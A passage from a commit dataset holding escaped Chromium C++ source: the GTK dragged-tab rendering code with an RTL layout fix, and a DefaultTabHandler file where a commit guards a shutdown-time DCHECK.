DraggedTabGtk* dragged_tab) {\n  GdkPixbuf* pixbuf = dragged_tab->PaintTab();\n  if (gtk_util::IsScreenComposited()) {\n    dragged_tab->SetContainerTransparency();\n  } else {\n    dragged_tab->SetContainerShapeMask(pixbuf);\n  }\n\n  \/\/ Only used when not attached.\n  int tab_height = kScalingFactor * gdk_pixbuf_get_height(pixbuf);\n  int tab_width = kScalingFactor * gdk_pixbuf_get_width(pixbuf);\n\n  \/\/ Draw the render area.\n  if (dragged_tab->backing_store_ && !dragged_tab->attached_) {\n    \/\/ This leaves room for the border.\n    dragged_tab->backing_store_->PaintToRect(\n        gfx::Rect(kDragFrameBorderSize, tab_height,\n                  widget->allocation.width - kTwiceDragFrameBorderSize,\n                  widget->allocation.height - tab_height -\n                  kDragFrameBorderSize),\n        GDK_DRAWABLE(widget->window));\n  }\n\n  cairo_t* cr = gdk_cairo_create(GDK_DRAWABLE(widget->window));\n  \/\/ Draw the border.\n  if (!dragged_tab->attached_) {\n    cairo_set_line_width(cr, kDragFrameBorderSize);\n    cairo_set_source_rgb(cr, kDraggedTabBorderColor[0],\n                             kDraggedTabBorderColor[1],\n                             kDraggedTabBorderColor[2]);\n    \/\/ |offset| is the distance from the edge of the image to the middle of\n    \/\/ the border line.\n    double offset = kDragFrameBorderSize \/ 2.0 - 0.5;\n    double left_x = offset;\n    double top_y = tab_height - kDragFrameBorderSize + offset;\n    double right_x = widget->allocation.width - offset;\n    double bottom_y = widget->allocation.height - offset;\n    double middle_x = tab_width + offset;\n\n    \/\/ We don't use cairo_rectangle() because we don't want to draw the border\n    \/\/ under the tab itself.\n    cairo_move_to(cr, left_x, top_y);\n    cairo_line_to(cr, left_x, bottom_y);\n    cairo_line_to(cr, right_x, bottom_y);\n    cairo_line_to(cr, right_x, top_y);\n    cairo_line_to(cr, middle_x, top_y);\n    cairo_stroke(cr);\n  }\n\n  \/\/ Draw the tab.\n  if (!dragged_tab->attached_)\n    cairo_scale(cr, kScalingFactor, kScalingFactor);\n  gdk_cairo_set_source_pixbuf(cr, pixbuf, 0, 0);\n  cairo_paint(cr);\n\n  cairo_destroy(cr);\n\n  g_object_unref(pixbuf);\n\n  \/\/ We've already drawn the tab, so don't propagate the expose-event signal.\n  return TRUE;\n}\n<commit_msg>gtk: Handle RTL layout when rendering the dragged tab.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/gtk\/tabs\/dragged_tab_gtk.h\"\n\n#include <gdk\/gdk.h>\n\n#include <algorithm>\n\n#include \"app\/gfx\/canvas_paint.h\"\n#include \"app\/l10n_util.h\"\n#include \"base\/gfx\/gtk_util.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/gtk\/tabs\/tab_renderer_gtk.h\"\n#include \"chrome\/common\/gtk_util.h\"\n#include \"chrome\/common\/x11_util.h\"\n#include \"third_party\/skia\/include\/core\/SkShader.h\"\n\nnamespace {\n\n\/\/ The size of the dragged window frame.\nconst int kDragFrameBorderSize = 1;\nconst int kTwiceDragFrameBorderSize = 2 * kDragFrameBorderSize;\n\n\/\/ Used to scale the dragged window sizes.\nconst float kScalingFactor = 0.5;\n\nconst int kAnimateToBoundsDurationMs = 150;\n\nconst gdouble kTransparentAlpha = (200.0f \/ 255.0f);\nconst gdouble kOpaqueAlpha = 1.0f;\nconst double kDraggedTabBorderColor[] = { 103.0 \/ 0xff,\n                                          129.0 \/ 0xff,\n                                          162.0 \/ 0xff };\n\n}  \/\/ namespace\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DraggedTabGtk, public:\n\nDraggedTabGtk::DraggedTabGtk(TabContents* datasource,\n                             const gfx::Point& mouse_tab_offset,\n                             const gfx::Size& contents_size)\n    : backing_store_(NULL),\n      renderer_(new TabRendererGtk(datasource->profile()->GetThemeProvider())),\n      attached_(false),\n      mouse_tab_offset_(mouse_tab_offset),\n      attached_tab_size_(TabRendererGtk::GetMinimumSelectedSize()),\n      contents_size_(contents_size),\n      close_animation_(this),\n      tab_width_(0) {\n  renderer_->UpdateData(datasource, false);\n\n  container_ = gtk_window_new(GTK_WINDOW_POPUP);\n  SetContainerColorMap();\n  gtk_widget_set_app_paintable(container_, TRUE);\n  g_signal_connect(G_OBJECT(container_), \"expose-event\",\n                   G_CALLBACK(OnExposeEvent), this);\n  gtk_widget_add_events(container_, GDK_STRUCTURE_MASK);\n  gtk_container_add(GTK_CONTAINER(container_), renderer_->widget());\n  gtk_widget_show_all(container_);\n}\n\nDraggedTabGtk::~DraggedTabGtk() {\n  gtk_widget_destroy(container_);\n}\n\nvoid DraggedTabGtk::MoveTo(const gfx::Point& screen_point) {\n  int x = screen_point.x() + mouse_tab_offset_.x() -\n      ScaleValue(mouse_tab_offset_.x());\n  int y = screen_point.y() + mouse_tab_offset_.y() -\n      ScaleValue(mouse_tab_offset_.y());\n\n  gtk_window_move(GTK_WINDOW(container_), x, y);\n}\n\nvoid DraggedTabGtk::Attach(int selected_width) {\n  attached_ = true;\n  Resize(selected_width);\n\n  if (gtk_util::IsScreenComposited())\n    gdk_window_set_opacity(container_->window, kOpaqueAlpha);\n}\n\nvoid DraggedTabGtk::Resize(int width) {\n  attached_tab_size_.set_width(width);\n  ResizeContainer();\n}\n\nvoid DraggedTabGtk::set_pinned(bool pinned) {\n  renderer_->set_pinned(pinned);\n}\n\nbool DraggedTabGtk::is_pinned() const {\n  return renderer_->is_pinned();\n}\n\nvoid DraggedTabGtk::Detach(GtkWidget* contents, BackingStore* backing_store) {\n  \/\/ Detached tabs are never pinned.\n  renderer_->set_pinned(false);\n\n  if (attached_tab_size_.width() != tab_width_) {\n    \/\/ The attached tab size differs from current tab size. Resize accordingly.\n    Resize(tab_width_);\n  }\n\n  attached_ = false;\n  contents_ = contents;\n  backing_store_ = backing_store;\n  ResizeContainer();\n\n  if (gtk_util::IsScreenComposited())\n    gdk_window_set_opacity(container_->window, kTransparentAlpha);\n}\n\nvoid DraggedTabGtk::Update() {\n  gtk_widget_queue_draw(container_);\n}\n\nvoid DraggedTabGtk::AnimateToBounds(const gfx::Rect& bounds,\n                                    AnimateToBoundsCallback* callback) {\n  animation_callback_.reset(callback);\n\n  gint x, y, width, height;\n  gdk_window_get_origin(container_->window, &x, &y);\n  gdk_window_get_geometry(container_->window, NULL, NULL,\n                          &width, &height, NULL);\n\n  animation_start_bounds_ = gfx::Rect(x, y, width, height);\n  animation_end_bounds_ = bounds;\n\n  close_animation_.SetSlideDuration(kAnimateToBoundsDurationMs);\n  close_animation_.SetTweenType(SlideAnimation::EASE_OUT);\n  if (!close_animation_.IsShowing()) {\n    close_animation_.Reset();\n    close_animation_.Show();\n  }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DraggedTabGtk, AnimationDelegate implementation:\n\nvoid DraggedTabGtk::AnimationProgressed(const Animation* animation) {\n  int delta_x = (animation_end_bounds_.x() - animation_start_bounds_.x());\n  int x = animation_start_bounds_.x() +\n      static_cast<int>(delta_x * animation->GetCurrentValue());\n  int y = animation_end_bounds_.y();\n  gdk_window_move(container_->window, x, y);\n}\n\nvoid DraggedTabGtk::AnimationEnded(const Animation* animation) {\n  animation_callback_->Run();\n}\n\nvoid DraggedTabGtk::AnimationCanceled(const Animation* animation) {\n  AnimationEnded(animation);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DraggedTabGtk, private:\n\nvoid DraggedTabGtk::Layout() {\n  if (attached_) {\n    gfx::Size prefsize = GetPreferredSize();\n    renderer_->SetBounds(gfx::Rect(0, 0, prefsize.width(), prefsize.height()));\n  } else {\n    int left = 0;\n    if (l10n_util::GetTextDirection() == l10n_util::RIGHT_TO_LEFT)\n      left = GetPreferredSize().width() - attached_tab_size_.width();\n\n    \/\/ The renderer_'s width should be attached_tab_size_.width() in both LTR\n    \/\/ and RTL locales. Wrong width will cause the wrong positioning of the tab\n    \/\/ view in dragging. Please refer to http:\/\/crbug.com\/6223 for details.\n    renderer_->SetBounds(gfx::Rect(left, 0, attached_tab_size_.width(),\n                         attached_tab_size_.height()));\n  }\n}\n\ngfx::Size DraggedTabGtk::GetPreferredSize() {\n  if (attached_)\n    return attached_tab_size_;\n\n  int width = std::max(attached_tab_size_.width(), contents_size_.width()) +\n      kTwiceDragFrameBorderSize;\n  int height = attached_tab_size_.height() + kDragFrameBorderSize +\n      contents_size_.height();\n  return gfx::Size(width, height);\n}\n\nvoid DraggedTabGtk::ResizeContainer() {\n  gfx::Size size = GetPreferredSize();\n  gtk_window_resize(GTK_WINDOW(container_),\n                    ScaleValue(size.width()), ScaleValue(size.height()));\n  Layout();\n}\n\nint DraggedTabGtk::ScaleValue(int value) {\n  return attached_ ? value : static_cast<int>(value * kScalingFactor);\n}\n\ngfx::Rect DraggedTabGtk::bounds() const {\n  gint x, y, width, height;\n  gtk_window_get_position(GTK_WINDOW(container_), &x, &y);\n  gtk_window_get_size(GTK_WINDOW(container_), &width, &height);\n  return gfx::Rect(x, y, width, height);\n}\n\nvoid DraggedTabGtk::SetContainerColorMap() {\n  GdkScreen* screen = gtk_widget_get_screen(container_);\n  GdkColormap* colormap = gdk_screen_get_rgba_colormap(screen);\n\n  \/\/ If rgba is not available, use rgb instead.\n  if (!colormap)\n    colormap = gdk_screen_get_rgb_colormap(screen);\n\n  gtk_widget_set_colormap(container_, colormap);\n}\n\nvoid DraggedTabGtk::SetContainerTransparency() {\n  cairo_t* cairo_context = gdk_cairo_create(container_->window);\n  if (!cairo_context)\n    return;\n\n  \/\/ Make the background of the dragged tab window fully transparent.  All of\n  \/\/ the content of the window (child widgets) will be completely opaque.\n  gfx::Size size = bounds().size();\n  cairo_scale(cairo_context, static_cast<double>(size.width()),\n              static_cast<double>(size.height()));\n  cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 0.0f);\n  cairo_set_operator(cairo_context, CAIRO_OPERATOR_SOURCE);\n  cairo_paint(cairo_context);\n  cairo_destroy(cairo_context);\n}\n\nvoid DraggedTabGtk::SetContainerShapeMask(GdkPixbuf* pixbuf) {\n  \/\/ Create a 1bpp bitmap the size of |container_|.\n  gfx::Size size = bounds().size();\n  GdkPixmap* pixmap = gdk_pixmap_new(NULL, size.width(), size.height(), 1);\n  cairo_t* cairo_context = gdk_cairo_create(GDK_DRAWABLE(pixmap));\n\n  \/\/ Set the transparency.\n  cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 0.0f);\n\n  \/\/ Blit the rendered bitmap into a pixmap.  Any pixel set in the pixmap will\n  \/\/ be opaque in the container window.\n  cairo_set_operator(cairo_context, CAIRO_OPERATOR_SOURCE);\n  if (!attached_)\n    cairo_scale(cairo_context, kScalingFactor, kScalingFactor);\n  gdk_cairo_set_source_pixbuf(cairo_context, pixbuf, 0, 0);\n  cairo_paint(cairo_context);\n\n  if (!attached_) {\n    \/\/ Make the render area depiction opaque (leaving enough room for the\n    \/\/ border).\n    cairo_identity_matrix(cairo_context);\n    cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 1.0f);\n    int tab_height = kScalingFactor * gdk_pixbuf_get_height(pixbuf) -\n                     kDragFrameBorderSize;\n    cairo_rectangle(cairo_context,\n                    0, tab_height,\n                    size.width(), size.height() - tab_height);\n    cairo_fill(cairo_context);\n  }\n\n  cairo_destroy(cairo_context);\n\n  \/\/ Set the shape mask.\n  gdk_window_shape_combine_mask(container_->window, pixmap, 0, 0);\n  g_object_unref(pixmap);\n}\n\nGdkPixbuf* DraggedTabGtk::PaintTab() {\n  SkBitmap bitmap = renderer_->PaintBitmap();\n  return gfx::GdkPixbufFromSkBitmap(&bitmap);\n}\n\n\/\/ static\ngboolean DraggedTabGtk::OnExposeEvent(GtkWidget* widget,\n                                      GdkEventExpose* event,\n                                      DraggedTabGtk* dragged_tab) {\n  GdkPixbuf* pixbuf = dragged_tab->PaintTab();\n  if (gtk_util::IsScreenComposited()) {\n    dragged_tab->SetContainerTransparency();\n  } else {\n    dragged_tab->SetContainerShapeMask(pixbuf);\n  }\n\n  \/\/ Only used when not attached.\n  int tab_height = kScalingFactor * gdk_pixbuf_get_height(pixbuf);\n  int tab_width = kScalingFactor * gdk_pixbuf_get_width(pixbuf);\n\n  \/\/ Draw the render area.\n  if (dragged_tab->backing_store_ && !dragged_tab->attached_) {\n    \/\/ This leaves room for the border.\n    dragged_tab->backing_store_->PaintToRect(\n        gfx::Rect(kDragFrameBorderSize, tab_height,\n                  widget->allocation.width - kTwiceDragFrameBorderSize,\n                  widget->allocation.height - tab_height -\n                  kDragFrameBorderSize),\n        GDK_DRAWABLE(widget->window));\n  }\n\n  cairo_t* cr = gdk_cairo_create(GDK_DRAWABLE(widget->window));\n  \/\/ Draw the border.\n  if (!dragged_tab->attached_) {\n    cairo_set_line_width(cr, kDragFrameBorderSize);\n    cairo_set_source_rgb(cr, kDraggedTabBorderColor[0],\n                             kDraggedTabBorderColor[1],\n                             kDraggedTabBorderColor[2]);\n    \/\/ |offset| is the distance from the edge of the image to the middle of\n    \/\/ the border line.\n    double offset = kDragFrameBorderSize \/ 2.0 - 0.5;\n    double left_x = offset;\n    double top_y = tab_height - kDragFrameBorderSize + offset;\n    double right_x = widget->allocation.width - offset;\n    double bottom_y = widget->allocation.height - offset;\n    double middle_x = tab_width + offset;\n\n    \/\/ We don't use cairo_rectangle() because we don't want to draw the border\n    \/\/ under the tab itself.\n    cairo_move_to(cr, left_x, top_y);\n    cairo_line_to(cr, left_x, bottom_y);\n    cairo_line_to(cr, right_x, bottom_y);\n    cairo_line_to(cr, right_x, top_y);\n    cairo_line_to(cr, middle_x, top_y);\n    cairo_stroke(cr);\n  }\n\n  \/\/ Draw the tab.\n  if (!dragged_tab->attached_)\n    cairo_scale(cr, kScalingFactor, kScalingFactor);\n  gdk_cairo_set_source_pixbuf(cr, pixbuf, 0, 0);\n  cairo_paint(cr);\n\n  cairo_destroy(cr);\n\n  g_object_unref(pixbuf);\n\n  \/\/ We've already drawn the tab, so don't propagate the expose-event signal.\n  return TRUE;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/tabs\/default_tab_handler.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DefaultTabHandler, public:\n\nDefaultTabHandler::DefaultTabHandler(TabHandlerDelegate* delegate)\n    : delegate_(delegate),\n      ALLOW_THIS_IN_INITIALIZER_LIST(\n          model_(new TabStripModel(this, delegate->GetProfile()))) {\n  model_->AddObserver(this);\n}\n\nDefaultTabHandler::~DefaultTabHandler() {\n  \/\/ The tab strip should not have any tabs at this point.\n  DCHECK(model_->empty());\n  model_->RemoveObserver(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DefaultTabHandler, TabHandler implementation:\n\nTabStripModel* DefaultTabHandler::GetTabStripModel() const {\n  return model_.get();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DefaultTabHandler, TabStripModelDelegate implementation:\n\nTabContentsWrapper* DefaultTabHandler::AddBlankTab(bool foreground) {\n  return delegate_->AsBrowser()->AddBlankTab(foreground);\n}\n\nTabContentsWrapper* DefaultTabHandler::AddBlankTabAt(int index,\n                                                     bool foreground) {\n  return delegate_->AsBrowser()->AddBlankTabAt(index, foreground);\n}\n\nBrowser* DefaultTabHandler::CreateNewStripWithContents(\n    TabContentsWrapper* detached_contents,\n    const gfx::Rect& window_bounds,\n    const DockInfo& dock_info,\n    bool maximize) {\n  return delegate_->AsBrowser()->CreateNewStripWithContents(detached_contents,\n                                                            window_bounds,\n                                                            dock_info,\n                                                            maximize);\n}\n\nint DefaultTabHandler::GetDragActions() const {\n  return delegate_->AsBrowser()->GetDragActions();\n}\n\nTabContentsWrapper* DefaultTabHandler::CreateTabContentsForURL(\n    const GURL& url,\n    const content::Referrer& referrer,\n    Profile* profile,\n    content::PageTransition transition,\n    bool defer_load,\n    SiteInstance* instance) const {\n  return delegate_->AsBrowser()->CreateTabContentsForURL(url,\n                                                         referrer,\n                                                         profile,\n                                                         transition,\n                                                         defer_load,\n                                                         instance);\n}\n\nbool DefaultTabHandler::CanDuplicateContentsAt(int index) {\n  return delegate_->AsBrowser()->CanDuplicateContentsAt(index);\n}\n\nvoid DefaultTabHandler::DuplicateContentsAt(int index) {\n  delegate_->AsBrowser()->DuplicateContentsAt(index);\n}\n\nvoid DefaultTabHandler::CloseFrameAfterDragSession() {\n  delegate_->AsBrowser()->CloseFrameAfterDragSession();\n}\n\nvoid DefaultTabHandler::CreateHistoricalTab(TabContentsWrapper* contents) {\n  delegate_->AsBrowser()->CreateHistoricalTab(contents);\n}\n\nbool DefaultTabHandler::RunUnloadListenerBeforeClosing(\n    TabContentsWrapper* contents) {\n  return delegate_->AsBrowser()->RunUnloadListenerBeforeClosing(contents);\n}\n\nbool DefaultTabHandler::CanCloseContents(std::vector<int>* indices) {\n  return delegate_->AsBrowser()->CanCloseContents(indices);\n}\n\nbool DefaultTabHandler::CanBookmarkAllTabs() const {\n  return delegate_->AsBrowser()->CanBookmarkAllTabs();\n}\n\nvoid DefaultTabHandler::BookmarkAllTabs() {\n  delegate_->AsBrowser()->BookmarkAllTabs();\n}\n\nbool DefaultTabHandler::CanCloseTab() const {\n  return delegate_->AsBrowser()->CanCloseTab();\n}\n\nbool DefaultTabHandler::CanRestoreTab() {\n  return delegate_->AsBrowser()->CanRestoreTab();\n}\n\nvoid DefaultTabHandler::RestoreTab() {\n  delegate_->AsBrowser()->RestoreTab();\n}\n\nbool DefaultTabHandler::LargeIconsPermitted() const {\n  return delegate_->AsBrowser()->LargeIconsPermitted();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DefaultTabHandler, TabStripModelObserver implementation:\n\nvoid DefaultTabHandler::TabInsertedAt(TabContentsWrapper* contents,\n                                      int index,\n                                      bool foreground) {\n  delegate_->AsBrowser()->TabInsertedAt(contents, index, foreground);\n}\n\nvoid DefaultTabHandler::TabClosingAt(TabStripModel* tab_strip_model,\n                                     TabContentsWrapper* contents,\n                                     int index) {\n  delegate_->AsBrowser()->TabClosingAt(tab_strip_model, contents, index);\n}\n\nvoid DefaultTabHandler::TabDetachedAt(TabContentsWrapper* contents, int index) {\n  delegate_->AsBrowser()->TabDetachedAt(contents, index);\n}\n\nvoid DefaultTabHandler::TabDeactivated(TabContentsWrapper* contents) {\n  delegate_->AsBrowser()->TabDeactivated(contents);\n}\n\nvoid DefaultTabHandler::ActiveTabChanged(TabContentsWrapper* old_contents,\n                                         TabContentsWrapper* new_contents,\n                                         int index,\n                                         bool user_gesture) {\n  delegate_->AsBrowser()->ActiveTabChanged(old_contents,\n                                           new_contents,\n                                           index,\n                                           user_gesture);\n}\n\nvoid DefaultTabHandler::TabMoved(TabContentsWrapper* contents,\n                                 int from_index,\n                                 int to_index) {\n  delegate_->AsBrowser()->TabMoved(contents, from_index, to_index);\n}\n\nvoid DefaultTabHandler::TabReplacedAt(TabStripModel* tab_strip_model,\n                                      TabContentsWrapper* old_contents,\n                                      TabContentsWrapper* new_contents,\n                                      int index) {\n  delegate_->AsBrowser()->TabReplacedAt(tab_strip_model, old_contents,\n                                        new_contents, index);\n}\n\nvoid DefaultTabHandler::TabPinnedStateChanged(TabContentsWrapper* contents,\n                                              int index) {\n  delegate_->AsBrowser()->TabPinnedStateChanged(contents, index);\n}\n\nvoid DefaultTabHandler::TabStripEmpty() {\n  delegate_->AsBrowser()->TabStripEmpty();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TabHandler, public:\n\n\/\/ static\nTabHandler* TabHandler::CreateTabHandler(TabHandlerDelegate* delegate) {\n  return new DefaultTabHandler(delegate);\n}\n<commit_msg>Bug repro 1) Build aura desktop for desktop (not ChromeOS) 2) Close aura desktop using (x) on Aura Desktop, not in any of the aura windows<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/browser_shutdown.h\"\n#include \"chrome\/browser\/tabs\/default_tab_handler.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DefaultTabHandler, public:\n\nDefaultTabHandler::DefaultTabHandler(TabHandlerDelegate* delegate)\n    : delegate_(delegate),\n      ALLOW_THIS_IN_INITIALIZER_LIST(\n          model_(new TabStripModel(this, delegate->GetProfile()))) {\n  model_->AddObserver(this);\n}\n\nDefaultTabHandler::~DefaultTabHandler() {\n  \/\/ The tab strip should not have any tabs at this point.\n  if (!browser_shutdown::ShuttingDownWithoutClosingBrowsers())\n    DCHECK(model_->empty());\n  model_->RemoveObserver(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DefaultTabHandler, TabHandler implementation:\n\nTabStripModel* DefaultTabHandler::GetTabStripModel() const {\n  return model_.get();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DefaultTabHandler, TabStripModelDelegate implementation:\n\nTabContentsWrapper* DefaultTabHandler::AddBlankTab(bool foreground) {\n  return delegate_->AsBrowser()->AddBlankTab(foreground);\n}\n\nTabContentsWrapper* DefaultTabHandler::AddBlankTabAt(int index,\n                                                     bool foreground) {\n  return delegate_->AsBrowser()->AddBlankTabAt(index, foreground);\n}\n\nBrowser* DefaultTabHandler::CreateNewStripWithContents(\n    TabContentsWrapper* detached_contents,\n    const gfx::Rect& window_bounds,\n    const DockInfo& dock_info,\n    bool maximize) {\n  return delegate_->AsBrowser()->CreateNewStripWithContents(detached_contents,\n                                                            window_bounds,\n                                                            dock_info,\n                                                            maximize);\n}\n\nint DefaultTabHandler::GetDragActions() const {\n  return delegate_->AsBrowser()->GetDragActions();\n}\n\nTabContentsWrapper* DefaultTabHandler::CreateTabContentsForURL(\n    const GURL& url,\n    const content::Referrer& referrer,\n    Profile* profile,\n    content::PageTransition transition,\n    bool defer_load,\n    SiteInstance* instance) const {\n  return delegate_->AsBrowser()->CreateTabContentsForURL(url,\n                                                         referrer,\n                                                         profile,\n                                                         transition,\n                                                         defer_load,\n                                                         instance);\n}\n\nbool DefaultTabHandler::CanDuplicateContentsAt(int index) {\n  return delegate_->AsBrowser()->CanDuplicateContentsAt(index);\n}\n\nvoid DefaultTabHandler::DuplicateContentsAt(int index) {\n  delegate_->AsBrowser()->DuplicateContentsAt(index);\n}\n\nvoid DefaultTabHandler::CloseFrameAfterDragSession() {\n  delegate_->AsBrowser()->CloseFrameAfterDragSession();\n}\n\nvoid DefaultTabHandler::CreateHistoricalTab(TabContentsWrapper* contents) {\n  delegate_->AsBrowser()->CreateHistoricalTab(contents);\n}\n\nbool DefaultTabHandler::RunUnloadListenerBeforeClosing(\n    TabContentsWrapper* contents) {\n  return delegate_->AsBrowser()->RunUnloadListenerBeforeClosing(contents);\n}\n\nbool DefaultTabHandler::CanCloseContents(std::vector<int>* indices) {\n  return delegate_->AsBrowser()->CanCloseContents(indices);\n}\n\nbool DefaultTabHandler::CanBookmarkAllTabs() const {\n  return delegate_->AsBrowser()->CanBookmarkAllTabs();\n}\n\nvoid DefaultTabHandler::BookmarkAllTabs() {\n  delegate_->AsBrowser()->BookmarkAllTabs();\n}\n\nbool DefaultTabHandler::CanCloseTab() const {\n  return delegate_->AsBrowser()->CanCloseTab();\n}\n\nbool DefaultTabHandler::CanRestoreTab() {\n  return delegate_->AsBrowser()->CanRestoreTab();\n}\n\nvoid DefaultTabHandler::RestoreTab() {\n  delegate_->AsBrowser()->RestoreTab();\n}\n\nbool DefaultTabHandler::LargeIconsPermitted() const {\n  return delegate_->AsBrowser()->LargeIconsPermitted();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DefaultTabHandler, TabStripModelObserver implementation:\n\nvoid DefaultTabHandler::TabInsertedAt(TabContentsWrapper* contents,\n                                      int index,\n                                      bool foreground) {\n  delegate_->AsBrowser()->TabInsertedAt(contents, index, foreground);\n}\n\nvoid DefaultTabHandler::TabClosingAt(TabStripModel* tab_strip_model,\n                                     TabContentsWrapper* contents,\n                                     int index) {\n  delegate_->AsBrowser()->TabClosingAt(tab_strip_model, contents, index);\n}\n\nvoid DefaultTabHandler::TabDetachedAt(TabContentsWrapper* contents, int index) {\n  delegate_->AsBrowser()->TabDetachedAt(contents, index);\n}\n\nvoid DefaultTabHandler::TabDeactivated(TabContentsWrapper* contents) {\n  delegate_->AsBrowser()->TabDeactivated(contents);\n}\n\nvoid DefaultTabHandler::ActiveTabChanged(TabContentsWrapper* old_contents,\n                                         TabContentsWrapper* new_contents,\n                                         int index,\n                                         bool user_gesture) {\n  delegate_->AsBrowser()->ActiveTabChanged(old_contents,\n                                           new_contents,\n                                           index,\n                                           user_gesture);\n}\n\nvoid DefaultTabHandler::TabMoved(TabContentsWrapper* contents,\n                                 int from_index,\n                                 int to_index) {\n  delegate_->AsBrowser()->TabMoved(contents, from_index, to_index);\n}\n\nvoid DefaultTabHandler::TabReplacedAt(TabStripModel* tab_strip_model,\n                                      TabContentsWrapper* old_contents,\n                                      TabContentsWrapper* new_contents,\n                                      int index) {\n  delegate_->AsBrowser()->TabReplacedAt(tab_strip_model, old_contents,\n                                        new_contents, index);\n}\n\nvoid DefaultTabHandler::TabPinnedStateChanged(TabContentsWrapper* contents,\n                                              int index) {\n  delegate_->AsBrowser()->TabPinnedStateChanged(contents, index);\n}\n\nvoid DefaultTabHandler::TabStripEmpty() {\n  delegate_->AsBrowser()->TabStripEmpty();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TabHandler, public:\n\n\/\/ static\nTabHandler* 